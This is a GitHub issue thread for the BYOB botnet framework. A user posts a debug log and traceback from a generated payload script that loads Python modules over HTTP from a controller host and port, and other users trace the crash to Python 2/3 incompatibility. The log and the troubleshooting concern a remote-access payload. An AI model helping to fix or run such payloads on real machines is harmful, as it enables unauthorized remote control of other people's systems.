byob icon indicating copy to clipboard operation
byob copied to clipboard

help No module named 'urllib2'

Open souriens253 opened this issue 7 years ago • 6 comments

hi i have a problem i get this issue when i lunch the payload C:\Users\IEUser\Desktop>python kT7.py --debug kT7.py:6: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses import imp

DEBUG:main:FINDER=================

DEBUG:main:Searching: urllib2 DEBUG:main:Path: None INFO:main:Checking if in declared remote module names... INFO:main:Checking if built-in.... INFO:main:Checking if it is name repetition... INFO:main:[+] Module/Package 'urllib2' can be loaded! DEBUG:main:LOADER================= DEBUG:main:Loading urllib2... DEBUG:main:Trying to import 'urllib2' as package from: 'http://192.168.43.26:8082/urllib2/init.py' DEBUG:main:FINDER================= DEBUG:main:Searching: StringIO DEBUG:main:Path: None INFO:main:Checking if in declared remote module names... INFO:main:Checking if built-in.... INFO:main:Checking if it is name repetition... INFO:main:[+] Module/Package 'StringIO' can be loaded! DEBUG:main:LOADER================= DEBUG:main:Loading StringIO... DEBUG:main:Trying to import 'StringIO' as package from: 'http://192.168.43.26:8082/StringIO/init.py' DEBUG:main:FINDER================= DEBUG:main:Searching: colorama DEBUG:main:Path: None INFO:main:Checking if in declared remote module names... INFO:main:Checking if built-in.... INFO:main:Checking if it is name repetition... INFO:main:[+] Module/Package 'colorama' can be loaded! DEBUG:main:LOADER================= DEBUG:main:Loading colorama... DEBUG:main:Trying to import 'colorama' as package from: 'http://192.168.43.26:8082/colorama/init.py' DEBUG:main:FINDER================= DEBUG:main:Searching: requests DEBUG:main:Path: None INFO:main:Checking if in declared remote module names... INFO:main:Checking if built-in.... INFO:main:Checking if it is name repetition... INFO:main:[+] Module/Package 'requests' can be loaded! DEBUG:main:LOADER================= DEBUG:main:Loading requests... DEBUG:main:Trying to import 'requests' as package from: 'http://192.168.43.26:8082/requests/init.py' DEBUG:main:public_ip returned error: module 'urllib' has no attribute 'urlopen' Traceback (most recent call last): File "kT7.py", line 2241, in _payload = Payload(pastebin='', host='192.168.43.26', port='8080') File "kT7.py", line 1241, in init self.info = self._get_info() File "kT7.py", line 1282, in _get_info data = globals()['encrypt_aes'](json.dumps(info), self.key) File "kT7.py", line 1123, in encrypt_aes text = pad(plaintext) File "kT7.py", line 1048, in pad return s + (block_size - len(bytes(s)) % block_size) * chr(0) TypeError: string argument without an encoding

C:\Users\IEUser\Desktop>python kT7.py --debug kT7.py:6: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses import imp Traceback (most recent call last): File "kT7.py", line 9, in import urllib2 ModuleNotFoundError: No module named 'urllib2'

How can i fix this

Thank you

thank you

souriens253 avatar Jan 02 '19 12:01 souriens253

have you tried to pip install urllib2?

ohld avatar Jan 16 '19 16:01 ohld

This means you are running Python 3 can you confirm?

thehappydinoa avatar Jan 18 '19 14:01 thehappydinoa

This means you are running Python 3 can you confirm?

indeed because urllib & urllib2 are merged together now in python3 all you need to do is to remove urlib2 "import urlib2" and keep "import urllib"

vladimirpe00 avatar Jan 24 '19 00:01 vladimirpe00

to be clear this is an issue because the library is being loaded using python3 on the remote system (payload)

The remote system (bot) you're attempting to run on must include python2 and be called explicitly, or this will break;

There are two alternatives -- either we include a switch for python2 / python3 availability to automatically solve for this or, since this is an educational tool, I don't see an issue with just limiting platform availability to those that support a particular version.

Edit: sorry, was thinking inversely during first response

intrct avatar Mar 24 '19 17:03 intrct

I've written a PR that should hopefully resolve a part of this.

intrct avatar Mar 24 '19 18:03 intrct

This issue has been resolved in PR #127

malwaredllc avatar May 08 '19 00:05 malwaredllc